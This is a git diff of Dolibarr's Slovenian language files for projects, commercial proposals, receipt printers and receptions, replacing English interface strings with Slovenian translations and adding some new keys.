+FirstAddRessourceToAllocateTime=Dodelite uporabniški vir kot stik projekta za dodelitev časa +InputPerDay=Vnos na dan +InputPerWeek=Vnos na teden +InputPerMonth=Vnos na mesec +InputDetail=Vnos podrobnosti +TimeAlreadyRecorded=To je že zabeležen čas, porabljen za to nalogo/dan in uporabnika %s +ProjectsWithThisUserAsContact=Projekti s tem uporabnikom kot stikom +ProjectsWithThisContact=Projekti s tem kontaktom +TasksWithThisUserAsContact=Naloge, dodeljene temu uporabniku +ResourceNotAssignedToProject=Ni dodeljeno projektu +ResourceNotAssignedToTheTask=Ni dodeljeno nalogi +NoUserAssignedToTheProject=Temu projektu ni dodeljen noben uporabnik +TimeSpentBy=Čas, porabljen za +TasksAssignedTo=Naloge dodeljene +AssignTaskToMe=Dodeli nalogo sebi +AssignTaskToUser=Dodeli nalogo %s +SelectTaskToAssign=Izberite nalogo za dodelitev ... +AssignTask=Dodeli +ProjectOverview=Pregled +ManageTasks=Uporabite projekte za spremljanje nalog in/ali poročanje o porabljenem času (časovnice) +ManageOpportunitiesStatus=Uporabite projekte za sledenje potencialom/priložnostim +ProjectNbProjectByMonth=Število ustvarjenih projektov po mesecih +ProjectNbTaskByMonth=Število ustvarjenih opravil po mesecih +ProjectOppAmountOfProjectsByMonth=Količina potencialnih strank po mesecih +ProjectWeightedOppAmountOfProjectsByMonth=Ponderirano število potencialnih strank po mesecih +ProjectOpenedProjectByOppStatus=Odprt projekt|status vodilnega moža +ProjectsStatistics=Statistika projektov ali potencialnih strank +TasksStatistics=Statistika nalog projektov ali potencialnih strank +TaskAssignedToEnterTime=Naloga dodeljena. Vnos časa za to nalogo bi moral biti mogoč. +IdTaskTime=Čas opravila ID +YouCanCompleteRef=Če želite ref dopolniti s pripono, je priporočljivo dodati znak - za ločevanje, tako da bo samodejno številčenje še vedno delovalo pravilno za naslednje projekte. Na primer %s-MYSUFFIX +OpenedProjectsByThirdparties=Odprti projekti tretjih oseb +OnlyOpportunitiesShort=Samo vodi +OpenedOpportunitiesShort=Odprti vodi +NotOpenedOpportunitiesShort=Ni odprta povezava +NotAnOpportunityShort=Ne vodi +OpportunityTotalAmount=Skupno število potencialnih strank +OpportunityPonderatedAmount=Ponderirana količina potencialnih strank +OpportunityPonderatedAmountDesc=Količina možnih strank, tehtana z verjetnostjo +OppStatusPROSP=Potencial +OppStatusQUAL=Kvalifikacija OppStatusPROPO=Ponudba -OppStatusNEGO=Negociation +OppStatusNEGO=Pogajanje OppStatusPENDING=Na čakanju -OppStatusWON=Won -OppStatusLOST=Lost -Budget=Budget -AllowToLinkFromOtherCompany=Allow to link project from other company

      Supported values:
      - Keep empty: Can link any project of the company (default)
      - "all": Can link any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link all projects of these third partys (Example: 123,4795,53)
      -LatestProjects=Latest %s projects -LatestModifiedProjects=Latest %s modified projects -OtherFilteredTasks=Other filtered tasks -NoAssignedTasks=No assigned tasks found (assign project/tasks to the current user from the top select box to enter time on it) -ThirdPartyRequiredToGenerateInvoice=A third party must be defined on project to be able to invoice it. -ThirdPartyRequiredToGenerateInvoice=A third party must be defined on project to be able to invoice it. -ChooseANotYetAssignedTask=Choose a task not yet assigned to you +OppStatusWON=zmagal +OppStatusLOST=Izgubljeno +Budget=Proračun +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      +LatestProjects=Najnovejši projekti %s +LatestModifiedProjects=Najnovejši %s spremenjeni projekti +OtherFilteredTasks=Druga filtrirana opravila +NoAssignedTasks=Ni dodeljenih nalog (dodelite projekt/naloge trenutnemu uporabniku iz zgornjega izbirnega polja, da vnesete čas zanj) +ThirdPartyRequiredToGenerateInvoice=Na projektu mora biti določen partner, da ji lahko izda račun. +ThirdPartyRequiredToGenerateInvoice=Na projektu mora biti določen partner, da ji lahko izda račun. +ChooseANotYetAssignedTask=Izberite nalogo, ki vam še ni dodeljena # Comments trans -AllowCommentOnTask=Allow user comments on tasks -AllowCommentOnProject=Allow user comments on projects -DontHavePermissionForCloseProject=You do not have permissions to close the project %s -DontHaveTheValidateStatus=The project %s must be open to be closed -RecordsClosed=%s project(s) closed -SendProjectRef=Information project %s -ModuleSalaryToDefineHourlyRateMustBeEnabled=Module 'Salaries' must be enabled to define employee hourly rate to have time spent valorized -NewTaskRefSuggested=Task ref already used, a new task ref is required -TimeSpentInvoiced=Time spent billed +AllowCommentOnTask=Dovolite komentarje uporabnikov o nalogah +AllowCommentOnProject=Dovolite komentarje uporabnikov o projektih +DontHavePermissionForCloseProject=Nimate dovoljenj za zaprtje projekta %s +DontHaveTheValidateStatus=Projekt %s mora biti odprt, da se lahko zapre +RecordsClosed=%s projekt(i) zaprt(i). +SendProjectRef=Informacijski projekt %s +ModuleSalaryToDefineHourlyRateMustBeEnabled=Modul 'Plače' mora biti omogočen za določanje urne postavke zaposlenega za valorizacijo porabljenega časa +NewTaskRefSuggested=Referenca opravila je že uporabljena, potreben je nov ref naloge +TimeSpentInvoiced=Obračunan porabljeni čas TimeSpentForIntervention=Porabljen čas TimeSpentForInvoice=Porabljen čas -OneLinePerUser=One line per user -ServiceToUseOnLines=Service to use on lines -InvoiceGeneratedFromTimeSpent=Invoice %s has been generated from time spent on project -InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project -ProjectBillTimeDescription=Check if you enter timesheet on tasks of project AND you plan to generate invoice(s) from the timesheet to bill the customer of the project (do not check if you plan to create invoice that is not based on entered timesheets). Note: To generate invoice, go on tab 'Time spent' of the project and select lines to include. -ProjectFollowOpportunity=Follow opportunity -ProjectFollowTasks=Follow tasks or time spent -Usage=Usage -UsageOpportunity=Usage: Opportunity -UsageTasks=Usage: Tasks -UsageBillTimeShort=Usage: Bill time -InvoiceToUse=Draft invoice to use -InterToUse=Draft intervention to use +OneLinePerUser=Ena vrstica na uporabnika +ServiceToUseOnLines=Storitev za privzeto uporabo na linijah +InvoiceGeneratedFromTimeSpent=Račun %s je bil ustvarjen iz časa, porabljenega za projekt +InterventionGeneratedFromTimeSpent=Intervencija %s je bila ustvarjena iz časa, porabljenega za projekt +ProjectBillTimeDescription=Preverite, ali vnašate časovni list za naloge projekta IN nameravate ustvariti račun(e) iz časovnega lista za zaračunavanje stranki projekta (ne preverjajte, če nameravate ustvariti račun, ki ne temelji na vnesenih časovnih listih). Opomba: Če želite ustvariti račun, pojdite na zavihek »Porabljeni čas« projekta in izberite vrstice, ki jih želite vključiti. +ProjectFollowOpportunity=Sledite priložnosti +ProjectFollowTasks=Sledite nalogam ali porabljenemu času +Usage=Uporaba +UsageOpportunity=Uporaba: Priložnost +UsageTasks=Uporaba: Naloge +UsageBillTimeShort=Uporaba: Čas obračuna +InvoiceToUse=Osnutek računa za uporabo +InterToUse=Osnutek intervencije za uporabo NewInvoice=Nov račun NewInter=Nova intervencija -OneLinePerTask=One line per task -OneLinePerPeriod=One line per period -OneLinePerTimeSpentLine=One line for each time spent declaration -AddDetailDateAndDuration=With date and duration into line description -RefTaskParent=Ref. Parent Task -ProfitIsCalculatedWith=Profit is calculated using -AddPersonToTask=Add also to tasks -UsageOrganizeEvent=Usage: Event Organization -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. -SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them -ProjectTasksWithoutTimeSpent=Project tasks without time spent -FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. -ProjectsHavingThisContact=Projects having this contact -StartDateCannotBeAfterEndDate=End date cannot be before start date -ErrorPROJECTLEADERRoleMissingRestoreIt=The "PROJECTLEADER" role is missing or has been de-activited, please restore in the dictionary of contact types -LeadPublicFormDesc=You can enable here a public page to allow your prospects to make a first contact to you from a public online form -EnablePublicLeadForm=Enable the public form for contact -NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. -NewLeadForm=New contact form -LeadFromPublicForm=Online lead from public form +OneLinePerTask=Ena vrstica na nalogo +OneLinePerPeriod=Ena vrstica na obdobje +OneLinePerTimeSpentLine=Ena vrstica za vsako deklaracijo porabljenega časa +AddDetailDateAndDuration=Z datumom in trajanjem v opis vrstice +RefTaskParent=Ref. Starševska naloga +ProfitIsCalculatedWith=Dobiček se izračuna z uporabo +AddPersonToTask=Dodajte tudi opravilom +UsageOrganizeEvent=Uporaba: Organizacija dogodkov +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Razvrsti projekt kot zaprt, ko so dokončane vse njegove naloge (100%% napredek) +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. +SelectLinesOfTimeSpentToInvoice=Izberite vrstice porabljenega časa, ki niso zaračunane, nato pa množično dejanje »Ustvari račun«, da jih zaračunate +ProjectTasksWithoutTimeSpent=Projektne naloge brez porabljenega časa +FormForNewLeadDesc=Hvala, ker izpolnite spodnji obrazec, da nas kontaktirate. Prav tako nam lahko pošljete e-pošto neposredno na %s . +ProjectsHavingThisContact=Projekti, ki imajo ta stik +StartDateCannotBeAfterEndDate=Končni datum ne more biti pred začetnim datumom +ErrorPROJECTLEADERRoleMissingRestoreIt=Vloga »VODJA PROJEKTA« manjka ali je bila deaktivirana, obnovite jo v slovarju vrst stikov +LeadPublicFormDesc=Tukaj lahko omogočite javno stran, da svojim potencialnim strankam omogočite prvi stik z vami prek javnega spletnega obrazca +EnablePublicLeadForm=Omogoči javni obrazec za stik +NewLeadbyWeb=Vaše sporočilo ali zahteva je bila zabeležena. Kmalu vam bomo odgovorili ali vas kontaktirali. +NewLeadForm=Nov kontaktni obrazec +LeadFromPublicForm=Spletni potencialni kupec iz javnega obrazca +ExportAccountingReportButtonLabel=Pridobite poročilo diff --git a/htdocs/langs/sl_SI/propal.lang b/htdocs/langs/sl_SI/propal.lang index f23ec13ac66..5fb034d2cd3 100644 --- a/htdocs/langs/sl_SI/propal.lang +++ b/htdocs/langs/sl_SI/propal.lang @@ -9,20 +9,20 @@ PdfCommercialProposalTitle=Ponudba ProposalCard=Kartica ponudbe NewProp=Nova komercialna ponudba NewPropal=Nova ponudba -Prospect=Možna stranka +Prospect=Potencialni kupec DeleteProp=Izbriši komercialno ponudbo ValidateProp=Potrdi komercialno ponudbo AddProp=Ustvari predlog -ConfirmDeleteProp=Are you sure you want to delete this commercial proposal? -ConfirmValidateProp=Are you sure you want to validate this commercial proposal under name %s? -LastPropals=Latest %s proposals -LastModifiedProposals=Latest %s modified proposals +ConfirmDeleteProp=Ali ste prepričani, da želite izbrisati ta komercialni predlog? +ConfirmValidateProp=Ali ste prepričani, da želite potrditi ta komercialni predlog pod imenom %s ? +LastPropals=Najnovejši %s predlogi +LastModifiedProposals=Najnovejši %s spremenjeni predlogi AllPropals=Vse ponudbe SearchAProposal=Išči ponudbo -NoProposal=No proposal +NoProposal=Brez predloga ProposalsStatistics=Statistika komercialnih ponudb NumberOfProposalsByMonth=Število po mesecih -AmountOfProposalsByMonthHT=Amount by month (excl. tax) +AmountOfProposalsByMonthHT=Znesek po mesecih (brez davka) NbOfProposals=Število komercialnih ponudb ShowPropal=Prikaži ponudbo PropalsDraft=Osnutki @@ -33,7 +33,7 @@ PropalStatusSigned=Podpisana (potrebno fakturirati) PropalStatusNotSigned=Nepodpisana (zaprta) PropalStatusBilled=Fakturirana PropalStatusDraftShort=Osnutek -PropalStatusValidatedShort=Validated (open) +PropalStatusValidatedShort=Potrjeno (odprto) PropalStatusClosedShort=Zaprta PropalStatusSignedShort=Podpisana PropalStatusNotSignedShort=Nepodpisana @@ -47,53 +47,72 @@ SendPropalByMail=Pošlji komercialno ponudbo po pošti DatePropal=Datum ponudbe DateEndPropal=Datum veljavnosti ponudbe ValidityDuration=Trajanje veljavnosti -SetAcceptedRefused=Set accepted/refused +SetAcceptedRefused=Nastavite sprejeto/zavrnjeno ErrorPropalNotFound=Ponudbe %s ne najdem AddToDraftProposals=Dodaj osnutku ponudbe NoDraftProposals=Ni osnutkov ponudbe CopyPropalFrom=Kreiraj komercialno ponudbo s kopiranjem obstoječe ponudbe -CreateEmptyPropal=Create empty commercial proposal or from list of products/services +CreateEmptyPropal=Ustvarite prazen komercialni predlog ali s seznama izdelkov/storitev DefaultProposalDurationValidity=Privzeto trajanje veljavnosti komercialne ponudbe (v dneh) -UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address -ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? -ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? +DefaultPuttingPricesUpToDate=Privzeto posodobi cene s trenutno znanimi cenami za kloniranje predloga +UseCustomerContactAsPropalRecipientIfExist=Kot naslov prejemnika predloga uporabite kontakt/naslov z vrsto »Predlog za nadaljnje ukrepanje«, če je določen namesto naslova partnerja +ConfirmClonePropal=Ali ste prepričani, da želite klonirati komercialni predlog %s ? +ConfirmReOpenProp=Ali ste prepričani, da želite odpreti komercialni predlog %s ? ProposalsAndProposalsLines=Komercialna ponudba in vrstice ProposalLine=Vrstica ponudbe -ProposalLines=Proposal lines +ProposalLines=Vrstice predlogov AvailabilityPeriod=Dobavni rok SetAvailability=Nastavi dobavni rok AfterOrder=od naročila OtherProposals=Ostale ponudbe + ##### Availability ##### AvailabilityTypeAV_NOW=Takoj AvailabilityTypeAV_1W=1 teden AvailabilityTypeAV_2W=2 tedna AvailabilityTypeAV_3W=3 tedne AvailabilityTypeAV_1M=1 mesec -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Predstavnik za sledenje ponudbe TypeContact_propal_external_BILLING=Kontakt za račun pri kupcu TypeContact_propal_external_CUSTOMER=Kontakt pri kupcu za sledenje ponudbe -TypeContact_propal_external_SHIPPING=Customer contact for delivery +TypeContact_propal_external_SHIPPING=Kontakt stranke za dostavo + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=ni mogoče nastaviti nepodpisanega +CaseFollowedBy=Sledi primer +ConfirmMassNoSignature=Množično Nepodpisano potrdilo +ConfirmMassNoSignatureQuestion=Ali ste prepričani, da želite nastaviti nepodpisane izbrane zapise? +ConfirmMassSignature=Potrditev množičnega podpisa +ConfirmMassSignatureQuestion=Ali ste prepričani, da želite podpisati izbrane zapise? +ConfirmMassValidation=Potrditev množičnega preverjanja +ConfirmMassValidationQuestion=Ali ste prepričani, da želite potrditi izbrane zapise? +ConfirmRefusePropal=Ali ste prepričani, da želite zavrniti ta komercialni predlog? +ContractSigned=Pogodba podpisana +DefaultModelPropalClosed=Privzeta predloga za zaključek ponudbe (nefakturirana) DefaultModelPropalCreate=Ustvarjanje privzetega modela DefaultModelPropalToBill=Privzeta predloga za zaključek ponudbe (za fakturiranje) -DefaultModelPropalClosed=Privzeta predloga za zaključek ponudbe (nefakturirana) +DocModelAzurDescription=Popoln model predloga (stara izvedba predloge Cyan) +DocModelCyanDescription=Popoln model predloge +FichinterSigned=Intervencija podpisana +IdProduct=ID izdelka +IdProposal=ID predloga +IsNotADraft=ni osnutek +LineBuyPriceHT=Nakupna cena Znesek brez davka za vrstico +NoSign=Zavrnitev +NoSigned=niz ni podpisan +PassedInOpenStatus=je bil potrjen +PropalAlreadyRefused=Predlog že zavrnjen +PropalAlreadySigned=Predlog že sprejet +PropalRefused=Predlog zavrnjen +PropalSigned=Predlog sprejet ProposalCustomerSignature=Pisna potrditev, žig podjetja, datum in podpis -ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal -RefusePropal=Refuse proposal -Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ProposalsStatisticsSuppliers=Statistika ponudb dobaviteljev +RefusePropal=Zavrni predlog +Sign=Podpis +SignContract=Podpišite pogodbo +SignFichinter=Podpišite intervencijo +SignPropal=Sprejmi predlog +Signed=podpisan +SignedOnly=Samo podpisano diff --git a/htdocs/langs/sl_SI/receiptprinter.lang b/htdocs/langs/sl_SI/receiptprinter.lang index a90dd7b3757..1812f42753a 100644 --- a/htdocs/langs/sl_SI/receiptprinter.lang +++ b/htdocs/langs/sl_SI/receiptprinter.lang @@ -1,82 +1,84 @@ # Dolibarr language file - Source file is en_US - receiptprinter -ReceiptPrinterSetup=Setup of module ReceiptPrinter -PrinterAdded=Printer %s added -PrinterUpdated=Printer %s updated -PrinterDeleted=Printer %s deleted -TestSentToPrinter=Test Sent To Printer %s -ReceiptPrinter=Receipt printers -ReceiptPrinterDesc=Setup of receipt printers -ReceiptPrinterTemplateDesc=Setup of Templates -ReceiptPrinterTypeDesc=Description of Receipt Printer's type -ReceiptPrinterProfileDesc=Description of Receipt Printer's Profile -ListPrinters=List of Printers -SetupReceiptTemplate=Template Setup -CONNECTOR_DUMMY=Dummy Printer -CONNECTOR_NETWORK_PRINT=Network Printer -CONNECTOR_FILE_PRINT=Local Printer -CONNECTOR_WINDOWS_PRINT=Local Windows Printer -CONNECTOR_CUPS_PRINT=Cups Printer -CONNECTOR_DUMMY_HELP=Fake Printer for test, does nothing +ReceiptPrinterSetup=Nastavitev modula ReceiptPrinter +PrinterAdded=Dodan tiskalnik %s +PrinterUpdated=Tiskalnik %s posodobljen +PrinterDeleted=Tiskalnik %s izbrisan +TestSentToPrinter=Test poslan v tiskalnik %s +ReceiptPrinter=Tiskalniki računov +ReceiptPrinterDesc=Nastavitev tiskalnikov računov +ReceiptPrinterTemplateDesc=Nastavitev predlog +ReceiptPrinterTypeDesc=Primer možnih vrednosti za polje "Parametri" glede na tip gonilnika +ReceiptPrinterProfileDesc=Opis profila tiskalnika računov +ListPrinters=Seznam tiskalnikov +SetupReceiptTemplate=Nastavitev predloge +CONNECTOR_DUMMY=Lažni tiskalnik +CONNECTOR_NETWORK_PRINT=Omrežni tiskalnik +CONNECTOR_FILE_PRINT=Lokalni tiskalnik +CONNECTOR_WINDOWS_PRINT=Lokalni tiskalnik Windows +CONNECTOR_CUPS_PRINT=Tiskalnik skodelic +CONNECTOR_DUMMY_HELP=Lažni tiskalnik za test, ne naredi nič CONNECTOR_NETWORK_PRINT_HELP=10.x.x.x:9100 CONNECTOR_FILE_PRINT_HELP=/dev/usb/lp0, /dev/usb/lp1 -CONNECTOR_WINDOWS_PRINT_HELP=LPT1, COM1, smb://FooUser:secret@computername/workgroup/Receipt Printer -CONNECTOR_CUPS_PRINT_HELP=CUPS printer name, example: HPRT_TP805L -PROFILE_DEFAULT=Default Profile -PROFILE_SIMPLE=Simple Profile -PROFILE_EPOSTEP=Epos Tep Profile -PROFILE_P822D=P822D Profile -PROFILE_STAR=Star Profile -PROFILE_DEFAULT_HELP=Default Profile suitable for Epson printers -PROFILE_SIMPLE_HELP=Simple Profile No Graphics -PROFILE_EPOSTEP_HELP=Epos Tep Profile -PROFILE_P822D_HELP=P822D Profile No Graphics -PROFILE_STAR_HELP=Star Profile -DOL_LINE_FEED=Skip line -DOL_ALIGN_LEFT=Left align text -DOL_ALIGN_CENTER=Center text -DOL_ALIGN_RIGHT=Right align text -DOL_USE_FONT_A=Use font A of printer -DOL_USE_FONT_B=Use font B of printer -DOL_USE_FONT_C=Use font C of printer -DOL_PRINT_BARCODE=Print barcode -DOL_PRINT_BARCODE_CUSTOMER_ID=Print barcode customer id -DOL_CUT_PAPER_FULL=Cut ticket completely -DOL_CUT_PAPER_PARTIAL=Cut ticket partially -DOL_OPEN_DRAWER=Open cash drawer -DOL_ACTIVATE_BUZZER=Activate buzzer -DOL_PRINT_QRCODE=Print QR Code -DOL_PRINT_LOGO=Print logo of my company -DOL_PRINT_LOGO_OLD=Print logo of my company (old printers) -DOL_BOLD=Bold -DOL_BOLD_DISABLED=Disable bold -DOL_DOUBLE_HEIGHT=Double height size -DOL_DOUBLE_WIDTH=Double width size -DOL_DEFAULT_HEIGHT_WIDTH=Default height and width size -DOL_UNDERLINE=Enable underline -DOL_UNDERLINE_DISABLED=Disable underline -DOL_BEEP=Beed sound -DOL_PRINT_TEXT=Print text -DateInvoiceWithTime=Invoice date and time -YearInvoice=Invoice year -DOL_VALUE_MONTH_LETTERS=Invoice month in letters -DOL_VALUE_MONTH=Invoice month -DOL_VALUE_DAY=Invoice day -DOL_VALUE_DAY_LETTERS=Inovice day in letters -DOL_LINE_FEED_REVERSE=Line feed reverse -InvoiceID=Invoice ID +CONNECTOR_WINDOWS_PRINT_HELP=LPT1, COM1, smb://FooUser:secret@computername/workgroup/Tiskalnik potrdil +CONNECTOR_CUPS_PRINT_HELP=Ime tiskalnika CUPS, primer: HPRT_TP805L +PROFILE_DEFAULT=Privzeti profil +PROFILE_SIMPLE=Preprost profil +PROFILE_EPOSTEP=Profil Epos Tep +PROFILE_P822D=Profil P822D +PROFILE_STAR=Zvezdni profil +PROFILE_DEFAULT_HELP=Privzeti profil, primeren za tiskalnike Epson +PROFILE_SIMPLE_HELP=Preprost profil brez grafike +PROFILE_EPOSTEP_HELP=Profil Epos Tep +PROFILE_P822D_HELP=Profil P822D Brez grafike +PROFILE_STAR_HELP=Zvezdni profil +DOL_LINE_FEED=Preskoči vrstico +DOL_ALIGN_LEFT=Levo poravnajte besedilo +DOL_ALIGN_CENTER=Sredinsko besedilo +DOL_ALIGN_RIGHT=Desno poravnajte besedilo +DOL_USE_FONT_A=Uporabite pisavo A tiskalnika +DOL_USE_FONT_B=Uporabite pisavo B tiskalnika +DOL_USE_FONT_C=Uporabite pisavo C tiskalnika +DOL_PRINT_BARCODE=Natisnite črtno kodo +DOL_PRINT_BARCODE_CUSTOMER_ID=Natisnite ID stranke s črtno kodo +DOL_CUT_PAPER_FULL=Popolnoma odrežite vstopnico +DOL_CUT_PAPER_PARTIAL=Delno odrežite vstopnico +DOL_OPEN_DRAWER=Odprt predal za denar +DOL_ACTIVATE_BUZZER=Aktiviraj brenčalo +DOL_PRINT_QRCODE=Natisnite kodo QR +DOL_PRINT_LOGO=Natisnite logotip mojega podjetja +DOL_PRINT_LOGO_OLD=Tisk logotipa mojega podjetja (stari tiskalniki) +DOL_BOLD=Krepko +DOL_BOLD_DISABLED=Onemogoči krepko +DOL_DOUBLE_HEIGHT=Dvojna velikost višine +DOL_DOUBLE_WIDTH=Velikost dvojne širine +DOL_DEFAULT_HEIGHT_WIDTH=Privzeta velikost višine in širine +DOL_UNDERLINE=Omogoči podčrtano +DOL_UNDERLINE_DISABLED=Onemogoči podčrtaj +DOL_BEEP=Zvočni signal +DOL_BEEP_ALTERNATIVE=Pisk (alternativni način) +DOL_PRINT_CURR_DATE=Natisnite trenutni datum/uro +DOL_PRINT_TEXT=Natisni besedilo +DateInvoiceWithTime=Datum in ura računa +YearInvoice=Leto računa +DOL_VALUE_MONTH_LETTERS=Mesec računa s črkami +DOL_VALUE_MONTH=Mesec računa +DOL_VALUE_DAY=Dan računa +DOL_VALUE_DAY_LETTERS=Inovice dan v pismih +DOL_LINE_FEED_REVERSE=Obrnjen pomik vrstice +InvoiceID=ID računa InvoiceRef=Referenca računa -DOL_PRINT_OBJECT_LINES=Invoice lines -DOL_VALUE_CUSTOMER_FIRSTNAME=Customer first name -DOL_VALUE_CUSTOMER_LASTNAME=Customer last name -DOL_VALUE_CUSTOMER_MAIL=Customer mail -DOL_VALUE_CUSTOMER_PHONE=Customer phone -DOL_VALUE_CUSTOMER_MOBILE=Customer mobile -DOL_VALUE_CUSTOMER_SKYPE=Customer Skype -DOL_VALUE_CUSTOMER_TAX_NUMBER=Customer tax number -DOL_VALUE_CUSTOMER_ACCOUNT_BALANCE=Customer account balance -DOL_VALUE_MYSOC_NAME=Your company name -VendorLastname=Vendor last name -VendorFirstname=Vendor first name -VendorEmail=Vendor email -DOL_VALUE_CUSTOMER_POINTS=Customer points -DOL_VALUE_OBJECT_POINTS=Object points +DOL_PRINT_OBJECT_LINES=Vrstice računa +DOL_VALUE_CUSTOMER_FIRSTNAME=Ime stranke +DOL_VALUE_CUSTOMER_LASTNAME=Priimek stranke +DOL_VALUE_CUSTOMER_MAIL=Pošta stranke +DOL_VALUE_CUSTOMER_PHONE=Telefon stranke +DOL_VALUE_CUSTOMER_MOBILE=Mobilni telefon stranke +DOL_VALUE_CUSTOMER_SKYPE=Stranka Skype +DOL_VALUE_CUSTOMER_TAX_NUMBER=Davčna številka stranke +DOL_VALUE_CUSTOMER_ACCOUNT_BALANCE=Stanje na računu stranke +DOL_VALUE_MYSOC_NAME=Ime vašega podjetja +VendorLastname=Priimek +VendorFirstname=Ime +VendorEmail=E-pošta +DOL_VALUE_CUSTOMER_POINTS=Točke strank +DOL_VALUE_OBJECT_POINTS=Objektne točke diff --git a/htdocs/langs/sl_SI/receptions.lang b/htdocs/langs/sl_SI/receptions.lang index 641b2803acc..d84dc18c81d 100644 --- a/htdocs/langs/sl_SI/receptions.lang +++ b/htdocs/langs/sl_SI/receptions.lang @@ -1,54 +1,54 @@ # Dolibarr language file - Source file is en_US - receptions -ReceptionDescription=Vendor reception management (Create reception documents) -ReceptionsSetup=Vendor Reception setup -RefReception=Ref. reception +ReceptionDescription=Upravljanje sprejema prodajalca (ustvarjanje sprejemnih dokumentov) +ReceptionsSetup=Nastavitev sprejema dobavitelja +RefReception=Ref. sprejem Reception=V obdelavi -Receptions=Receptions -AllReceptions=All Receptions +Receptions=Sprejemi +AllReceptions=Vsi sprejemi Reception=V obdelavi -Receptions=Receptions -ShowReception=Show Receptions -ReceptionsArea=Receptions area -ListOfReceptions=List of receptions -ReceptionMethod=Reception method -LastReceptions=Latest %s receptions -StatisticsOfReceptions=Statistics for receptions -NbOfReceptions=Number of receptions -NumberOfReceptionsByMonth=Number of receptions by month -ReceptionCard=Reception card -NewReception=New reception -CreateReception=Create reception -QtyInOtherReceptions=Qty in other receptions -OtherReceptionsForSameOrder=Other receptions for this order -ReceptionsAndReceivingForSameOrder=Receptions and receipts for this order -ReceptionsToValidate=Receptions to validate +Receptions=Sprejemi +ShowReception=Prikaži sprejeme +ReceptionsArea=Prostor za sprejeme +ListOfReceptions=Seznam sprejemov +ReceptionMethod=Način sprejema +LastReceptions=Zadnji sprejemi %s +StatisticsOfReceptions=Statistika za sprejeme +NbOfReceptions=Število sprejemov +NumberOfReceptionsByMonth=Število sprejemov po mesecih +ReceptionCard=Sprejemna kartica +NewReception=Nova recepcija +CreateReception=Ustvarite sprejem +QtyInOtherReceptions=Količina v drugih sprejemih +OtherReceptionsForSameOrder=Drugi sprejemi za to naročilo +ReceptionsAndReceivingForSameOrder=Sprejemi in potrdila za to naročilo +ReceptionsToValidate=Sprejemi za potrditev StatusReceptionCanceled=Preklicano StatusReceptionDraft=Osnutek -StatusReceptionValidated=Validated (products to receive or already received) -StatusReceptionValidatedToReceive=Validated (products to receive) -StatusReceptionValidatedReceived=Validated (products received) +StatusReceptionValidated=Potrjeno (izdelki za prejem ali že prejeti) +StatusReceptionValidatedToReceive=Potrjeno (izdelki za prejem) +StatusReceptionValidatedReceived=Potrjeno (prejeti izdelki) StatusReceptionProcessed=Obdelani StatusReceptionDraftShort=Osnutek StatusReceptionValidatedShort=Potrjen StatusReceptionProcessedShort=Obdelani -ReceptionSheet=Reception sheet -ConfirmDeleteReception=Are you sure you want to delete this reception? -ConfirmValidateReception=Are you sure you want to validate this reception with reference %s? -ConfirmCancelReception=Are you sure you want to cancel this reception? -StatsOnReceptionsOnlyValidated=Statistics conducted on receptions only validated. Date used is date of validation of reception (planed delivery date is not always known). -SendReceptionByEMail=Send reception by email -SendReceptionRef=Submission of reception %s -ActionsOnReception=Events on reception -ReceptionCreationIsDoneFromOrder=For the moment, creation of a new reception is done from the Purchase Order. -ReceptionLine=Reception line -ProductQtyInReceptionAlreadySent=Product quantity from open sales order already sent -ProductQtyInSuppliersReceptionAlreadyRecevied=Product quantity from open supplier order already received -ValidateOrderFirstBeforeReception=You must first validate the order before being able to make receptions. -ReceptionsNumberingModules=Numbering module for receptions -ReceptionsReceiptModel=Document templates for receptions -NoMorePredefinedProductToDispatch=No more predefined products to dispatch -ReceptionExist=A reception exists -ByingPrice=Bying price -ReceptionBackToDraftInDolibarr=Reception %s back to draft -ReceptionClassifyClosedInDolibarr=Reception %s classified Closed -ReceptionUnClassifyCloseddInDolibarr=Reception %s re-open +ReceptionSheet=Sprejemni list +ValidateReception=Validate reception +ConfirmDeleteReception=Ali ste prepričani, da želite izbrisati ta sprejem? +ConfirmValidateReception=Ali ste prepričani, da želite potrditi ta sprejem s sklicem %s ? +ConfirmCancelReception=Ali ste prepričani, da želite preklicati ta sprejem? +StatsOnReceptionsOnlyValidated=Potrjeni so le statistični podatki o sprejemih. Uporabljeni datum je datum potrditve prejema (načrtovani datum dostave ni vedno znan). +SendReceptionByEMail=Pošljite sprejem po e-pošti +SendReceptionRef=Oddaja sprejema %s +ActionsOnReception=Dogodki na recepciji +ReceptionCreationIsDoneFromOrder=Zaenkrat se izdelava novega sprejema izvede iz naročilnice. +ReceptionLine=Sprejemna linija 